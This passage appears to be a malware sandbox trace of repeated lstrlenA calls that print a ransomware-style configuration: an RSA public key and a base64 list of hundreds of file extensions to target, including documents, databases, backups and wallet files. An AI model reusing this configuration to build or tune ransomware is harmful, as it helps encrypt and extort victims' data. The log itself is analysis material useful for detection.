LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmE